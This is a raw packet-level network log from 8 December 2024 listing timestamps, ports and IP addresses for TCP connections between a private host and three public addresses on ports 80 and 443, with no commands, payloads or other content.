Dec 8, 2024 18:06:13.049370050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.050123930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.050167084 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.050228119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.050271034 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.051070929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.051116943 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.051172972 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.051215887 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.051949024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.051989079 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.052066088 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.052108049 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.052850008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.052891970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.052997112 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.053039074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.053785086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.053828955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.053864002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.053905964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.054730892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.054763079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.054780960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.054795980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.055627108 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.055689096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.055725098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.055768013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.056555033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.056598902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.056632042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.056674957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.057404041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.057446003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.057521105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.057562113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.058350086 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.058392048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.058465958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.058507919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.059277058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.059330940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.059360027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.059401989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.060123920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.060165882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.060242891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.060277939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.061009884 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.061050892 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.061155081 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.061194897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.062011003 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.062055111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.062144995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.062186956 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.062922001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.062967062 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.063000917 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.063043118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.063810110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.063853025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.063888073 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.063931942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.064662933 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.064706087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.064768076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.064806938 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.065577030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.065622091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.065711021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.065754890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.066509008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.066550970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.066644907 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.066690922 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.067697048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.067708969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.067738056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.067748070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.068315029 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.068357944 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.068422079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.068468094 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.069252968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.069293976 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.069386959 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.069430113 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.070192099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.070233107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.070233107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.070270061 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.071063995 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.071103096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.071219921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.071258068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.071940899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.071981907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.072066069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.072107077 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.072846889 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.072889090 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.072943926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.072987080 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.073785067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.073826075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.073858976 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.073899031 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.074712992 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.074754000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.074786901 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.074825048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.075576067 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.075617075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.075681925 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.075742960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.076574087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.076613903 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.076738119 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.076781988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.077471018 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.077510118 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.077652931 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.077693939 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.078401089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.078443050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.078540087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.078582048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.079219103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.079260111 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.079329967 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.079369068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.080189943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.080234051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.080270052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.080310106 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.081111908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.081156015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.081254005 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.081295967 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.081952095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.081994057 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.082062006 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.082104921 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.082911968 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.082956076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.082974911 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.083065033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.083811045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.083853006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.083904982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.083945990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.084695101 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.084736109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.084842920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.084887028 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.085850954 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.085861921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.085889101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.085900068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.086489916 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.086533070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.086683989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.086721897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.087377071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.087419033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.087501049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.087539911 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.088396072 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.088438988 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.088443041 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.088485003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.089332104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.089375973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.089467049 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.089509964 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.090126991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.090169907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.090238094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.090280056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.091032982 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.091078043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.091212988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.091253996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.091945887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.091988087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.092080116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.092122078 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.237354994 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.237462044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.237518072 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.237765074 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.237876892 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.237919092 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.238694906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.238738060 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.238776922 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.239538908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.239581108 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.239639044 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.239903927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.240458012 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.240628004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.240664959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.241355896 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.241471052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.241506100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.242253065 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.242289066 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.242366076 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.242911100 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.243171930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.243211985 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.243302107 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.243333101 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.244138002 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.244244099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.244282961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.245089054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.245219946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.245259047 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.245934963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.245978117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.246031046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.246844053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.246897936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.246975899 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.247926950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.247976065 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.248068094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.248109102 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.248786926 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.248888016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.248895884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.248929977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.249618053 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.249671936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.249701977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.250480890 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.250534058 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.250633001 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.251357079 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.251406908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.251481056 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.251909018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.252257109 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.252401114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.252449989 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.253156900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.253267050 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.253314018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.254076958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.254224062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.254277945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.255045891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.255089045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.255135059 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.255968094 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.256104946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.256149054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.256889105 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.256939888 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.256948948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.257715940 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.257762909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.257831097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.258655071 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.258702993 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.258737087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.259531975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.259582996 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:13.259582996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 8, 2024 18:06:13.260235071 CET	49765	80	192.168.2.4	31.41.244.11
Dec 8, 2024 18:06:15.523252010 CET	49759	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:15.526931047 CET	49781	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:15.574915886 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:15.574950933 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:15.575016022 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:15.646884918 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:15.646905899 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:15.649888992 CET	80	49759	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:15.649941921 CET	49759	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:15.885046959 CET	80	49781	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:15.885109901 CET	49781	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:15.885423899 CET	49781	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:16.004784107 CET	80	49781	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:16.984358072 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:16.984431028 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:16.985850096 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:16.985858917 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:16.986084938 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.030599117 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.039335012 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.039361954 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.039577007 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.241739988 CET	80	49781	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:17.241805077 CET	49781	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:17.744430065 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.744529963 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.744580030 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.745958090 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.745976925 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.745992899 CET	49782	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.746000051 CET	443	49782	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.806442022 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.806478024 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:17.806536913 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.806941032 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:17.806952953 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:18.860927105 CET	49781	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:18.861243010 CET	49790	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:18.987425089 CET	80	49781	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:18.987440109 CET	80	49790	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:18.987484932 CET	49781	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:18.987515926 CET	49790	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:18.987688065 CET	49790	80	192.168.2.4	185.215.113.43
Dec 8, 2024 18:06:19.034959078 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.035021067 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.036026001 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.036036968 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.036278963 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.037309885 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.037352085 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.037364006 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.107008934 CET	80	49790	185.215.113.43	192.168.2.4
Dec 8, 2024 18:06:19.936470985 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936516047 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936548948 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936564922 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.936589003 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936625004 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936657906 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936669111 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.936676025 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.936698914 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.945023060 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.946985006 CET	49788	443	192.168.2.4	172.67.165.166
Dec 8, 2024 18:06:19.946993113 CET	443	49788	172.67.165.166	192.168.2.4
Dec 8, 2024 18:06:19.953809023 CET	443	49788	172.67.165.166	192.168.2.4
